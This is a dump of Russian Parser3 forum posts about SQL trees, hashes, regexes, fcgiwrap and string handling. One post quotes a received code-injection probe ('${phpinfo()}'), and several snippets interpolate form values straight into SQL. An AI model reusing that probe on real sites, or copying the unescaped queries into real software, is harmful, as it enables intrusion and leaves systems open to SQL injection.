"82823","Тоже в регекспах профан, заметил что Вы используете utf-ные мета-классы для определения числа,буквы например для валидации некоторых строк типа isSlug (смотрел в PF'e), для незнающих это может стать неожиданностью (как для меня) словить арабских вязей в строке.\
\
То же самое насчет цифр, нет ли там \"расширенного дипазона\" понимания числа (какой нить римской нотации)."
"82825","Генерируйте хороший стойкий пароль, высылайте на электронную почту пользователю.\
Захочет — поменяет.\
\
Не будет ни дыры с простым паролем, ни проблем с напоминаниями и опознаниями паролей."
"82826","Сделал рабочую модель с подзапросом:\
[code]$tree[^table::sql{\
	SELECT\
		t.dsc,\
		h.anc AS pID,\
		(\
			SELECT GROUP_CONCAT(u.url ORDER BY u.eID SEPARATOR '/')\
			FROM pages AS u\
			JOIN path AS r ON (u.eID = r.anc)\
			WHERE 1 = 1\
				AND t.dsc = r.dsc\
				AND r.anc > 0\
		) AS uri,\
		p.*\
	FROM path AS t\
	JOIN pages AS p ON (p.eID = t.dsc)\
	JOIN path AS h ON (h.dsc = t.dsc AND h.lvl = 1)\
	WHERE t.anc = $params.root\
	ORDER BY h.anc\
}][/code]\
Теперь извлекает и дерево и готовые адреса.\
\
Однако отдельный метод меня привлекает больше.\
\
Как правильно организовать все методы в одну рабочую схему?\
\
[code]@tree[params]\
$tree[^table::sql{\
	SELECT\
		t.dsc,\
		h.anc AS pID\
	FROM path AS t\
	JOIN path AS h ON (h.dsc = t.dsc AND h.lvl = 1)\
	WHERE t.anc = $params.root\
	ORDER BY h.anc\
}]\
$tree[^tree.hash[pID][\
	$.type[table]\
	$.distinct(true)\
]]\
^getURLs[$tree]\
\
@getURLs[pages]\
$result[^hash::sql{\
	SELECT t.dsc, GROUP_CONCAT(u.url ORDER BY u.eID SEPARATOR '/') AS uri, u.*\
	FROM pages AS u\
	JOIN path AS r ON (u.eID = r.anc)\
	WHERE 1\
		AND t.dsc IN (^pages.menu{$pages.dsc}[,])\
		AND t.anc > 0\
	GROUP BY t.dsc\
}]\
^print[$pages]\
\
@print[tree;pID][locals]\
$pID(^pID.int(^tree._at[first;key]))\
$cID[$tree.$pID]]\
$result[]\
^if($cID){\
	$result[^cID.menu{\
		<div>\
			<strong><a href=\"/$cID.uri\">$cID.name</a></strong>\
			^print[$tree]($cID.dsc)\
		</div>\
	}]\
}[/code]"
"82827","[quote]Как правильно организовать все методы в одну рабочую схему?[/quote]\
\
Если это вещь одноразовая — как удобно, так и организуйте.\
\
Если работа с подобного рода деревьями потребуется в других местах, лучше сделать отдельный класс, который будет содержать методы работы с деревом: добавить узлы, удалить узлы, извлечь потомков, извлечь предков, перебрать узлы и так далее, в зависимости от того, какие операции нужны."
"82828","Я и сделал все в отдельный класс.\
\
Меня интересует его правильная организация.\
\
Я его понимаю так:\
1. Иницализация и подключение к БД.\
2. Происходит запрос с необходимыми параметрами и создается хеш.\
3. Далее идут методы работы с этим хешем.\
4. Получаем результат.\
\
Сейчас вызывается класс следующим путем:\
[code]^TREE.tree[\
	# Заданный узел\
	$.root(0)\
	# Тип элемента\
	$.tID($params.tID)\
	# Вид который мы хотим получить (Дерево, все адреса страниц, и т.д.)\
	$.type[tree]\
][/code]\
\
Так все вроде понятно, только не понятно в какой последовательности вызывать методы.\
\
Сначала запрос к БД, потом хеш, потом метод и в конце @print[]?"
"82829","[quote]Сначала запрос к БД, потом хеш, потом метод и в конце @print[]?[/quote]\
\
Класс предоставляет интерфейс к дереву.\
Что он делает внутри себя — не важно.\
Какие задачи требуется выполнять, такие методы у класса и будут.\
\
[code]$tree[^tree::create[\
	$.connect_string[…]\
	$.table[…]\
]]\
\
$my_tree[^tree.select[\
	$.root(…)\
	$.type[hash]\
]]\
^if(…){\
	^tree.print[$my_tree]\
}\
[/code]"
"82830","Для текущих версий Парсера это не всегда нужно. Если $request:charset[utf-8], то Парсер переключает PCRE в unicode-режим."
"82833","Смотрю в код и понимаю, что в пылу упорядочивания и удобочитаемости насоздавал переменных (имен объектов) с таким же именем как класс.\
\
Но имена таких объектов, не в контексте MAIN, а в контексте этого же класса, а конкретнее говоря прямо указывают на $self.\
\
Причинные классы не используется статически, но \"скажите, Доктор, у меня будут проблемы или все будет в порядке и я выживу? \
Не продакшн, а прототип, но сейчас переписывать нет времени.\
\
[code]\
@main[]\
  $obj[^App::create[]]\
\
@CLASS\
App\
\
@create[]\
   $self.App[$self]\
\
[/code]"
"82835","А есть ли способ просмотреть все доступные переменные?"
"82836","надо написать метод, выводящий информацию об объектах/классах.\
можно воспользоваться [url=/examples/debug-fork/]готовым[/url] (но он может потребовать доработки в свете последних изменений, связанных с доступом к полям/методам объектов)."
"82837","Однако, оставляет намек на интепретацию ответа: \
нет, - не выживу, \
нет, - проблем не будет"
"82838","OS Debian x64, fcgiwrap ставил из пакетов.\
\
Замерил, выполнение файла /etc/init.d/fcgiwrap доходит до строчки \
\
[code]. /lib/lsb/init-functions[/code]\
\
и обрывается, весь прочий код (~ 200 строк) игнорируется. Хотя ошибки здесь быть не должно, просто подключается LSB. \
Что интересно, при этом fcgiwrap запускается, но уже с дефолтными настройками. Ни у кого подобного не было?"
"82839","Немного костыль, но работает:\
В файлике /lib/systemd/system/fcgiwrap.service меняем\
\
[code]ExecStart=/usr/sbin/fcgiwrap ${DAEMON_OPTS}[/code]\
\
на\
\
[code]ExecStart=/usr/sbin/fcgiwrap -с 10 ${DAEMON_OPTS}[/code]\
\
Здесь же можно изменить значения User и Group, если хотите, чтобы fcgiwrap запускался от имени другого пользователя.\
А почему он игнорит содержимое /etc/init.d/fcgiwrap, я так и не понял."
"82840","Имеется QUERY_STRING (URL-параметры без домена) в виде СТРОКИ (а не формы), в котором содержатся данные, которые надо представить как ключ-значение. Есть ли удобный способ вывода QUERY_STRING ИЗ СТРОКИ как хеша? Разбирать через split некрасиво.\
\
Ещё по этой теме: сервис предоставляет возможность отправлять себе callback-данные через строковое JSON-поле. В каком виде их (данные ключ-значение) логичнее передавать в этом случае?"
"82841","Если ваш qwery - реальный - то $form:fields. Если взят из строки (лог-файл), то только split/match"
"82842","Привожу всё вокруг, весь кусок.\
\
Здесь из базы выбирается один из подходящих рекламных баннеров.\
\
[code]# adrules - это таблица с правилами реклам. Забираем нужные цифры (*)\
^adrules.menu{^if($adrules.type eq \"journal\"){$lim1($adrules.watchlimit)$lim2($adrules.clicklimit)}}\
# идём в базу, забираем оба подходящих варианта (**)\
^connect[mysql://login:pass@localhost/base_ads?charset=cp1251]{\
$jours[^table::sql{SELECT * FROM `banners` WHERE `type` like \"journal\" AND `moderated` > 1 AND `watched` <= $lim1 OR `type` like \"journal\" AND `moderated` > 1 AND `clicked` <= $lim2 OR `type` like \"journal\" AND `moderated` > 1 AND `end` <= \"CURRENT_TIMESTAMP\"}]\
}\
# тупо считаем их.\
$jourstotal(0)\
^jours.menu{$jourstotal($jourstotal + 1)}\
# рандомим.\
$thisjour(^math:random($jourstotal))\
# идём за выбранным (***).\
^connect[mysql://login:pass@localhost/base_ads?charset=cp1251]{\
$getajour[^hash::sql{SELECT * FROM `banners` WHERE `type` like \"journal\" AND `moderated` > 1 AND `watched` <= $lim1 OR `type` like \"journal\" AND `moderated` > 1 AND `clicked` <= $lim2 OR `type` like \"journal\" AND `moderated` > 1 AND `end` <= \"CURRENT_TIMESTAMP\" LIMIT ${thisjour},1}]\
# да, я задумал такие правила, либо-либо-либо, всё верно. инкрементируем просмотры выбранного\
$setwatched($getajour.watched)\
$setwatched($setwatched + 1)\
^void:sql{UPDATE `base_ads`.`banners` SET `watched` = $setwatched WHERE `id` = '$getajour.id'}\
}\
# создаём индексик в обработчной директории /ads/айдибаннера/\
$bwa[^^before[]^^within[]^^after[]]\
^if(-f \"/ads/${getajour.id}/index.html\"){}{^bwa.save[/ads/${getajour.id}/index.html]}\
# пишем код. ссылка и картинка - из хеша.\
<a href=\"/ads/${getajour.id}/\" rel=\"nofollow\" id=\"journal\" style=\"background-image: url($getajour.image)^; background-position: top left^; background-size: contain^; background-repeat: no-repeat^;\"></a>\
# и - вау! - ни фига.[/code]\
\
В результате получаем на месте баннера фиг со ссылкой на /ads//. Не ошибку какую-нибудь там про SQL-syntax, отсутствие столбца и так далее, а просто большой русский фиг!\
\
Хеш тупо пуст во всех столбах.\
\
Подстановками разных штук внутрь баннерной ссылки видим, что (*) - цифры-лимиты подсасываются отлично.\
(**) - На всякий проверяем через муадмин - нормик, получаем два варианта, как и должно быть.\
(***) - подстановками внутрь ссылки проверяем прямо через браузер: ну да, либо лимит 0,1, либо лимит 1,1, всё верно! Проверяем через муадмин - запрос хороший, выдаёт одну строку.\
\
Но, бабушку его, href и background-image пустые!\
\
Занёс руку над уже привычной заменой ^hash на ^table + menu, или над цикл стрингов под всё... но мне предлагалось этого не делать.\
\
[b]Что не так в запросе хеша $getajour,[/b] если SQL код валидный и проверенно результативный?!"
"82843","http://www.parser.ru/docs/lang/?hashfilehash.htm\
\
[quote]Конструктор создает хеш, в котором имена ключей совпадают со значениями первого столбца выборки. Имена столбцов формируют ключи хеша, а значения столбцов - соответствующие этим ключам значения. (имхо, в доке стоит попонятнее написать как это работает) [/quote]\
\
То есть в вашем хеше сначала идет ключ $getajour.{$id} (скорее всего id, первый столбец, согласно доке) внутри которого лежит все остальное в виде вложенного хэша. \
\
Ну код, простите, полная лапша. Вместо первой выборки нужно просто получить число SELECT COUNT(*) а не вынимать всю таблицу, и менюшить не понадобится. Зачем вам тут вообще хэш совершенно не понятно, вынимаете одну строку в таблицу и работаете\
\
Изначально в прошлом посте вы писали что в таблицу попадает результат, а в хэш - нет. Только в вашем случае в хэш всё попадает, вы просто обрабатываете результат неправильно. Итого бага не наблюдается\
\
Должно быть как то так, имхо:\
\
[code]^adrules.menu{^if($adrules.type eq \"journal\"){$lim1($adrules.watchlimit)$lim2($adrules.clicklimit)}}\
^connect[...]{\
	$jours_count[^table::int(SELECT COUNT(*) FROM `banners` WHERE `type` like \"journal\" AND `moderated` > 1 AND `watched` <= $lim1 OR `type` like \"journal\" AND `moderated` > 1 AND `clicked` <= $lim2 OR `type` like \"journal\" AND `moderated` > 1 AND `end` <= \"CURRENT_TIMESTAMP\")[$.default(0)]]\
# рандомим.\
	$thisjour(^math:random($jours_count+1))\
# идём за выбранным\
	$getajour[^table::sql{SELECT * FROM `banners` WHERE `type` like \"journal\" AND `moderated` > 1 AND `watched` <= $lim1 OR `type` like \"journal\" AND `moderated` > 1 AND `clicked` <= $lim2 OR `type` like \"journal\" AND `moderated` > 1 AND `end` <= \"CURRENT_TIMESTAMP\" LIMIT ${thisjour},1}]\
# да, я задумал такие правила, либо-либо-либо, всё верно. инкрементируем просмотры выбранного\
	^void:sql{UPDATE `base_ads`.`banners` SET `watched` = `watched` + 1  WHERE `id` = '$getajour.id'}\
}\
# создаём индексик в обработчной директории /ads/айдибаннера/\
$bwa[^^before[]^^within[]^^after[]] ^rem{не знаю что это за жесть и за чем, но пусть}\
^if(-f \"/ads/${getajour.id}/index.html\"){}{^bwa.save[/ads/${getajour.id}/index.html]}\
# пишем код. ссылка и картинка - из хеша.\
<a href=\"/ads/${getajour.id}/\" rel=\"nofollow\" id=\"journal\" style=\"background-image: url($getajour.image)^; background-position: top left^; background-size: contain^; background-repeat: no-repeat^;\"></a>\
# и - вау! - всё должно быть.[/code]"
"82844","Сделайте два действия:\
1. после отработавшего запроса сделайте вывод:\
[code]$getajour[^hash::sql{SELECT * FROM…}]\
^throw[debug;^json:string[$getajour]][/code]\
\
2. добавьте перед запросом любых символов и покажите текст сформированного запроса из исключения:\
[code]$getajour[^hash::sql{[b]xxx[/b] SELECT * FROM…}][/code]\
\
P. S.\
[quote]# тупо считаем их.\
$jourstotal(0)\
^jours.menu{$jourstotal($jourstotal + 1)}\
# рандомим.\
$thisjour(^math:random($jourstotal))[/quote]\
\
Можно сразу: [code]$thisjour(^math:random($jours))[/code]\
\
[code]$setwatched($getajour.watched)\
$setwatched($setwatched + 1)\
^void:sql{UPDATE `base_ads`.`banners` SET `watched` = $setwatched WHERE `id` = '$getajour.id'}[/code]\
->\
[code]^void:sql{UPDATE `base_ads`.`banners` SET `watched` = `watched` + 1 WHERE `id` = '$getajour.id'}[/code]"
"82846","1а. Хеш по доке.\
\
Вообще перестал понимать. Вот, допустим, таблица в базе:\
\
[b]a b c[/b]\
1 2 3\
4 5 6\
\
Abc - названия столбцов, понятно, и две строки.\
\
Я рассчитывал, взяв хешем одну строку (например, вторую), получить $hash, из которого выдавать $hash.c и $hash.a, получая 6 и 4. Но окей, я получаю хеш другой, где ключ $getajour.{a}... и как мне из него забрать столб ц теперь?! Синтаксически.\
\
\
1б. Ну вот, вы решили так же, тейблом :). А через хеш можно? Напишите, пожалуйста, может я так пойму, чё с ним делать потом. Или мне напрасно сама идея строить таблицу ради [b]одной[/b] строки кажется глупой?\
\
2. Что за жесть и зачем :-). Я так архитектурю свои сайты уже давно: во всех индекс.хтмл написано ^before[]^within[]^after[], а в авто.п - @auto[], ^before[] (там всё, что в HTML до body, с условиями и развитиями), затем @after[] (просто /body и /html, иногда всякие счётчики и прочее, что у хвоста).\
\
Потом пишется главный @within[], с сеткой или сетками страниц по условиям (определяющимся uri) и основными всякими вещами (тут вызываем контент, тут h1?, если в этом разделе заголовки не лежат в базе или текст-файле, а написаны в sections.cfg, далее [i]через несколько строк решёток[/i] (для удобства навигации) - свои методы из боди и из хеда. Потом опять слой решёток и методы второго уровня. Обычно этого хватает, иногда опять решетки и третий уровень.\
\
В итоге всё в одном auto.p-файле и читаемо, независимо от сложности сайта (сейчас я наполовину из спортивных соображений свой форумный движок доделываю, есличо).\
\
Внутренние авты в разделах встречаются только для технических дел вроде обработки запросов и XML-выдачи сторонним ребятам.\
\
А у вас как? :-) Неужели большая разница?"
"82847","[quote]Я рассчитывал, взяв хешем одну строку (например, вторую), получить $hash, из которого выдавать $hash.c и $hash.a, получая 6 и 4. Но окей, я получаю хеш другой, где ключ $getajour.{a}... и как мне из него забрать столб ц теперь?! Синтаксически.[/quote]\
\
[code]$getajour.1.c[/code]\
\
[quote]1б. Ну вот, вы решили так же, тейблом :). А через хеш можно? Напишите, пожалуйста, может я так пойму, чё с ним делать потом. Или мне напрасно сама идея строить таблицу ради одной строки кажется глупой?[/quote]\
\
Зачем вам вообще хеш?\
Что за экономия на таблице?\
\
Таблицы идеально подходят для работы с выборками БД.\
Достали данные, обратились к столбцу."
"82848","Ну, мне просто казалось, что не по шариату таблица там, где нужна только одна её строка). Одно выражение - стринг, несколько с ключами - хеш, много разных с общей структурой - вот только тогда таблица.\
\
Спасибо, перестроюсь."
"82849","Интерфейсно — это транспонированный хеш, если вам так больше нравится.\
И для одной записи самая удобная форма.\
\
Плюс, всегда есть [url=http://www.parser.ru/docs/lang/tablehash.htm]fields[/url], которое содержит хеш строки."
"82850","Здравствуйте гуру! Сейчас мне через форму отправки запросов через сайт прилетело электронное письмо внутри которого было следующие видимо команды:\
[code]rdot_team{${phpinfo()}}[/code]\
[code]phpinfo();[/code]\
[code]rdot_team<[/code]\
Ни кто с таким не сталкивался? не получу ли проблему в ближайшем будущем?\
Заранее спасибо за ответ."
"82851","Ну если сайт на парсере и пхп нигде не используется, то вам боятся нечего совершенно"
"82852","[quote]Я рассчитывал, взяв хешем одну строку (например, вторую), получить $hash, из которого выдавать $hash.c и $hash.a[/quote]\
А если ^hash::sql{} вернет несколько строк - что будет в $hash.a по вашему?\
Конструктор же не анализирует сколько строк приходит - алгоритм универсальный. И для него нужен ключ, поскольку это хэш.\
\
[quote]Или мне напрасно сама идея строить таблицу ради одной строки кажется глупой?[/quote]\
Совершенно напрасно. Таблица из одной строки - это просто частный случай табличной структуры. Делать из нее дерево, только потому что строка одна - неверно.\
\
[quote]Что за жесть и зачем :-)[/quote]\
Я так понял вы свою эту конструкцию $bwa[^^before[]^^within[]^^after[]] запихиваете динамически в html файлы. Мне такой подход не нравится в принципе, есть ЧПУ (+кэширование при необходимости), зачем плодить кучу файлов?"
"82854","Нужно разработать две странички для работы мода для WOT. Есть полное описание как это делается. По чему я не могу сделать т.к. не знаю программного языка"
"82855","[code]<meta name=\"description\" content=\"^description[]\">\
\
@description[]\
^if($uri eq '/'){В лесу родилась ёлочка}\
^if($uri eq '/1/'){В лесу она бла-бла}[/code]\
\
В выдаче имеем ровную строку только в первом случае, соскок строки после открывающейся кавычки во втором случае и несколько переносов - в дальнейших.\
\
Это важно, так как счёт тут идёт на символы.\
\
Можно тупо убрать переносы в коде, всё слепить в строку, но уж больно вырвиглазно получится, потом не разберешься.\
\
Может, можно чем-то окружить те ифы, чтобы так не получалось?"
"82856","Вы выдаёте результат с переводом строк и ждёте, что они сами пропадут.\
\
По умолчанию [url=http://www.parser.ru/docs/lang/opuntainttaint.htm]при выводе в браузер делается taint optimized-html[/url], что заменит идущие подрят whitespace-символы, но не уберёт их совсем.\
\
Чтобы их не стало нужно просто их не генерировать:\
[code]@description[]\
$result[]\
\
^switch[$uri]{\
	^case[/]{\
		$result[В лесу родилась ёлочка]\
	}\
	…\
}[/code]"
"82857","[code]@auto[] # Мы можем получить этот хеш из БД или откуда угодно.\
\
$hMeta[\
	$.[/][\
		$.keywords[бла, бла, бла]\
		$.description[В лесу родилась ёлочка]\
	]\
	$.[/1/][\
		$.keywords[бла, бла, бла]\
		$.description[В лесу она бла-бла]\
	]\
]\
\
######################################################\
\
@setMeta[sType;sUrl][sMeta]\
\
$sMeta[$hMeta.[$sType].[$sUrl]]\
\
^if(def $sMeta){\
\
	$result[<meta name=\"$sType\" content=\"$sMeta\">]\
}{\
#	Можем вернуть пустую строку или выдать исключение.\
	$result[]\
}\
\
######################################################\
\
@main[] # Использование.\
\
^setMeta[description;$uri]\
^setMeta[keywords;$uri][/code]"
"82859","Суть в том, что нужно выдавать результат без лишних символов."
"82860","Надо избавиться в тексте от последовательностей \"&quot;\". Проще всего просто убрать их.\
\
Ну, то есть, ^text.replace[&quot;;]\
\
Или ^text.replace[&quot^;;]\
\
Или $quot[&quot^;] ^text.replace[$quot;]\
\
Или $quot[&quot^;] ^text.replace[${quot};]\
[b]\
Все эти варианты неправильны[/b] - либо дают ошибку, либо не дают ничего.\
\
Как прописать замену &;?"
"82863","Имеем\
[code]$text[Некое произведение Льва Николаича целиком][/code]\
Задача - получить его начало с многоточием, всё в пределах 200 символов, но максимально близко к этой цифре, скажем.\
\
Понятное дело, начинаем с\
[code]$step1[^text.left(197)]\
$step2[^step1.trim[]]\
$step3[^step2.trim[right;.]]\
$step4[^step3.trim[right;,]][/code]\
Тут можно было бы и выдать ${step4}..., но с большой вероятностью п....\
\
С высокой вероятностью получится, что попадём кромкой на слово: надо ещё отхватить справа кусок до пробела и выкинуть.\
\
Допустим, берём\
[code]$splitting[^step4.split[ ;rh]]\
$substringtodelete[$splitting.0][/code]\
Ну... Тут бы\
[code]$step5[^step4.replace[ $substringtodelete;]][/code]\
, но с высокой вероятностью мыотеряем все последовательности \" п\".\
\
Значит, надо подсчитать пробелы в $step4, и (результат +1) будет равен количеству частей в $splitting, и будет сделать $splitting2, такой же, как $splitting, но слева, [i]и вот его[/i] части последовательно неким циклом выдавать через пробелы, пока наращивание не достигнет кол-ва пробелов.\
\
Вот теперь похоже на бред полностью.\
\
А как ещё [b]получить всю строку до последнего пробела[/b] при том, что пробелов в строке много?"
"82866","Не забывайте, что [b]1[/b] это значение поля [b]a[/b] и тут каждый раз не угадаешь, и нормально получить доступ без ошибок можно будет только через foreach, что точно будет костылем и наиболее правильное и простое решение будет именно таблица."
"82867","Вариантов много, например так\
\
[code]@get_substr[text;max_length][t;length]\
$result[]\
$t[^text.split[ ;lv]]\
$length(0)\
^t.menu{\
	^if(($length + ^t.piece.length[] + 1) > $max_length){\
		^break[]\
	}\
	^if(!$length){\
		$result[$t.piece]\
		$length(^t.piece.length[])\
	}{\
		$result[$result $t.piece]\
		$length($length + 1 + ^t.piece.length[])\
	}\
}\
$result[^result.trim[right; .,]][/code]\
\
Еще можно регулярками, как рекомендует Андрей\
\
Но всё это плохо, потому что лексику вы никаким алгоритмом не обработаете и фразы будут постоянно отрезаться очень глупо и некрасиво, например сразу после предлога или союза. Еще могут попадаться длинные слова, например сложно-составные, существенно \"укорачивающие\" полученную строку. \
\
Такими вещами, как поиск оптимального сокращения должен заниматься сам человек."
"82868","Пытаюсь передать данные для выборки в БД, в ответ получаю '1, 2' invalid number (double)\
[code]^tree.select[\
	$.root(0)\
	$.table[parent]\
	$.type[admin]\
	$.tID[1, ${params.tID}]\
][/code]\
Как решить эту проблему?\
Пробовал int, передавал в разных скобках и прочее, ни одна из попыток не увенчалась успехом.\
\
И еще такой вопрос.\
Есть иерархия, мне нужно изменить последовательность.\
Например:\
-1\
--2\
---3\
--4\
---5\
\
Как допустим 4 сделать ребенком 2?\
\
И еще одна проблема:\
Пытаюсь удалить запись\
[code]^connect[$connect_string]{\
	^void:sql{\
		DELETE FROM `pages` WHERE `pages`.`eID` = '$form:id' LIMIT 1\
	}\
}[/code]\
Выдает ошибку: Table 'pages' doesn't exist\
Удаляю из phpMyAdmin все удаляет."
"82869","1. 2. UPD. Почитал ветку, поспешил с ответами\
\
3. Перед DELETE сделайте SELECT - тоже напишет что таблицы нет? Если есть - гипотетически нет прав на DELETE пользователю, от имени которого с БД работает парсер (а у pma может быть другой пользователь). Но не уверен, по хорошему mysql должен выдать ошибку о недостаточности прав, не помню\
\
Если SELECT тоже не найдет - ну где то ошибка в имени таблицы может быть?"
"82870","[quote]Пытаюсь передать данные для выборки в БД, в ответ получаю '1, 2' invalid number (double)[/quote]\
\
Задействовав прямое подключение к астралу с возможностью чтения мыслей, могу предположить, что причина в конструкции ^if($params.tID)\
\
[quote]Как решить эту проблему?\
Пробовал int, передавал в разных скобках и прочее, ни одна из попыток не увенчалась успехом.[/quote]\
\
Очевидно, что $.tID[1, ${params.tID}] — строка и нужно проверять определённость строки и работать как со строкой.\
Либо передавать число и работать как с числом.\
\
[quote]Как допустим 4 сделать ребенком 2?[/quote]\
\
Манипулируя связями узла.\
Отсоединить от предков, удалив связи, выбрать новых предков, сгенерировать связи с ними и добавить в таблицу.\
Я уже в десятый раз сошлюсь на [url=http://gsbelarus.com/pw/articles/post/derev-ia-v-sql/#c2]статью про деревья[/url], где все базовые манипуляции описаны.\
\
[quote]Пытаюсь удалить запись\
Выдает ошибку: Table 'pages' doesn't exist[/quote]\
\
Разбирайтесь со строкой подключения, быть может, БД не та.\
Таблица либо есть, либо нет."
"82871","Начал применять новые знания из статьи и получил ошибку\
[code]^void:sql{\
	CREATE TRIGGER pages_ai FOR pages\
		AFTER INSERT\
		POSITION 32000\
	AS\
	BEGIN\
		INSERT INTO path (anc, dsc, lvl)\
		VALUES (NEW.eID, NEW.eID, 0);\
	END\
}[/code]"
"82873","[code]^void:sql{\
	CREATE TRIGGER pages_ai FOR pages\
		AFTER INSERT\
		POSITION 32000\
	AS\
	BEGIN\
		INSERT INTO path (anc, dsc, lvl)\
		VALUES (NEW.eID, NEW.eID, 0)\
	END\
}[/code]\
\
И без ; и с ^;\
\
[quote]CREATE TRIGGER pages_ai FOR pages AFTER INSERT POSITION 32000 AS BEGIN INSERT INTO path (anc, dsc, lvl) VALUES (NEW.eID, NEW.eID, 0); END; ' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'FOR pages AFTER INSERT POSITION 32000 AS BEGIN INSERT INT' at line 1[/quote]"
"82875","[quote]И без ; и с ^;[/quote]\
Это уже совсем другая ошибка, предыдущая была парсерная, а эта - mysql-ная. Читайте документацию по Mysql"
"82876","Зачем вам триггеры?\
\
Возьмите эти запросы за основу и напишите базовые методы манипуляции узлами."
"82877","Требуется программист для написания скрипта для сайта. Скайп derek169930 почта derek169930@gmail.com"
"82878","Триггеры мне нужны, чтобы правильно манипулировать деревьями.\
Читая статью наткнулся на триггер, который сам считает дистанцию, как это сделать без него с помощью MySQL не знаю, сейчас это у меня длинный код парсера и запросов к БД.\
Ниже код триггера для примера, может поможете\
[code]CREATE TRIGGER test2_link_ai FOR test2_link\
  AFTER INSERT\
  POSITION 32000\
AS\
  DECLARE VARIABLE AnID INTEGER;\
  DECLARE VARIABLE ADistance INTEGER;\
BEGIN\
  IF (NEW.distance = 1) THEN\
  BEGIN\
    INSERT INTO test2_link (id_from, id_to, distance)\
      SELECT down.id_from, up.id_to,\
        down.distance + up.distance + 1\
      FROM test2_link up, test2_link down\
      WHERE up.id_from = NEW.id_to\
        AND down.id_to = NEW.id_from\
        AND down.distance + up.distance > 0;\
  END\
END;[/code]\
\
\
Сейчас думаю над изменением иерархии дерева.\
Написал следующее:\
[code]$_update[^table::sql{\
	SELECT anc\
	FROM path\
	WHERE dsc = $form:id AND lvl = 1\
}]\
^void:sql{\
	DELETE FROM path \
	WHERE dsc = $form:id\
		AND anc = $_update.anc\
		AND lvl = 1\
}\
^void:sql{\
	INSERT INTO path (anc, dsc, lvl)\
	VALUES ($form:catalog, $form:id, 1)\
}[/code]\
\
Это изменяет вложенность, как узла, так и поддерева, только проблема в том, что это тупой метод, он не сравнивает дистанцию и не меняет ее, если она изменилась.\
Не знаю как это делать, не представляю даже."
"82879","[quote]Триггеры мне нужны, чтобы правильно манипулировать деревьями.[/quote]\
\
Они привязывают логику к БД, что может быть удобно в редких случаях, но неудобно в принципе.\
Это всего лишь срабатывающие по условию запросы.\
Нужно взять сами запросы и использовать их.\
\
[quote]Не знаю как это делать, не представляю даже.[/quote]\
\
Все операции над узлами состоят из небольшого количества простых операций: извлечь всех предков, извлечь всех потомков и себя, сгенерировать связи, удалить связи.\
\
Для каждой такой операции пишется простой запрос.\
Далее пишете запросы уровнем выше, которые используют запросы первого уровня.\
\
При переносе узла нужно:\
1. извлечь всех потомков узла, включая его самого;\
2. извлечь всех предков узла;\
3. извлечь всех предков нового родительского узла, включая его самого;\
4. удалить все связи между извлечёнными предками (2) и потомками (1);\
5. создать связи нужной дистанции между новыми предками (3) и потомками (1)."
"82880","Не мучайтесь, деревья это не та тема с которой стоит начинать изучать SQL. Возьмите за основу разжеванную например здесь схему Nested Sets - http://www.woweb.ru/publ/41-1-0-464\
Она настолько расписана, что надо просто прочитать, вникнуть и можно забирать к себе все запросы со всеми нужными операциями, даже тесты кое-какие есть. Обратите внимание там в тексте есть дельный совет про parent_id, но это даже не обязательно\
\
И забудьте о триггерах пока что."
"82881","[quote]Возьмите за основу разжеванную например здесь схему Nested Sets[/quote]\
\
Есть мнение, что Closure table много проще Nested sets.\
\
Хотя, конечно, не предмет для освоения азов."
"82882","Вложенные формы, вроде, уже в html не по шариату :). Как выкрутиться?\
\
Есть база данных, в ней все столбцы текстовые. Рисую в админке визуализацию с редактированием: таблица, инпут-тексты...\
\
А потом хочу получить одну на всех кнопку \"внести изменения\". Если каждую строку делать отдельной формой, можно в неё же вешать и свой сабмит, тут всё понятно, но строк тысяча, а мышка одна.\
\
То есть, сабмит должен лежать вне строк, а вот действовать на каждую (при наличии и условиях).\
[code]1	Вениамин	Евлампьевич	Задунайский	venya@gmail.com\
2	Зинаида	Аристарховна	Киево-печерская	zina@mail.ru[/code]\
При нажатии сабмита надо как-то пройтись по строкам и внести все инпуты в [i]соответствующие[/i] строки sql.\
\
Как поступить?\
\
Пока, предвидя в хрустальном шаре направление работы, я зачем-то поступил так: не беру из SQL таблицу, а создаю свой парсерный table, где за каждой ячейкой лезу в базу :). Результат смешно грузится секунд семь, зато у меня есть тейбл. То есть, можно вносить изменения сначала [i]в него[/i] сообразно инпутам, а потом уже его променюшить с внесением в SQL.\
\
Этот момент переделаю без глупостей, конечно, но что дальше?"
"82883","Если я правильно понял то даете строкам префикс, согласно их ID  в базе (5_name,5_email и т.п.) При приемке формы разбираете по префиксу.\
\
А вообще возьмите все таки привычку приводить кокретный код, который вы уже попробовали написать"
"82884","Либо префиксы, либо [url=http://www.parser.ru/forum/?id=81631]разбор данных в объект[/url]."
"82885","Из всех пяти пунктов получилось сделать только 4.\
1. Все предки узла\
[code]$_parent[^table::sql{\
	SELECT\
		t.anc,\
		t.dsc,\
		t.lvl,\
		p.eID\
	FROM path AS t\
	JOIN pages AS p ON (p.eID = t.dsc)\
	WHERE t.dsc = $form:id AND t.lvl > 0\
}]\
[/code]\
2. Все потомки узла\
[code]$_child[^table::sql{\
	SELECT\
		t.anc,\
		t.dsc,\
		t.lvl,\
		p.eID\
	FROM path AS t\
	JOIN pages AS p ON (p.eID = t.dsc)\
	JOIN path AS h ON (h.dsc = t.dsc AND h.lvl = 1)\
	WHERE t.anc = $form:id\
}][/code]\
3. Все предки нового узла\
[code]$n_parent[^table::sql{\
	SELECT\
		t.anc,\
		t.dsc,\
		t.lvl,\
		p.eID\
	FROM path AS t\
	JOIN pages AS p ON (p.eID = t.anc)\
	WHERE t.dsc = $form:catalog\
}]\
[/code]\
Считаем дистанцию\
[code]$n_count[^table::sql{\
	SELECT COUNT(*) AS count\
	FROM path AS t\
	JOIN pages AS p ON (p.eID = t.anc)\
	WHERE t.dsc = $form:catalog\
}]\
$level[^get.getPath[\
	$.anc(0)\
	$.dsc[$form:catalog]\
]]\
$lvl($level.lvl + 1)\
[/code]\
4. Удаляем предыдущие связи\
[code]^_parent.menu{\
	^void:sql{\
		DELETE FROM path \
		WHERE dsc = $_parent.dsc\
			AND anc = $_parent.anc\
			AND lvl = $_parent.lvl\
	}\
}[/code]\
5. Создаем новые связи для узла с новой дистанцией\
[code]^void:sql{\
	INSERT INTO path (anc, dsc, lvl)\
	VALUES (0, $form:id, $lvl)\
}\
^if($n_parent){\
	$distance($n_count.count)\
	^n_parent.menu{\
		^void:sql{\
			INSERT INTO path (anc, dsc, lvl)\
			VALUES ($n_parent.anc, $form:id, $distance)\
		}\
		$distance($distance - 1)\
	}\
}[/code]\
\
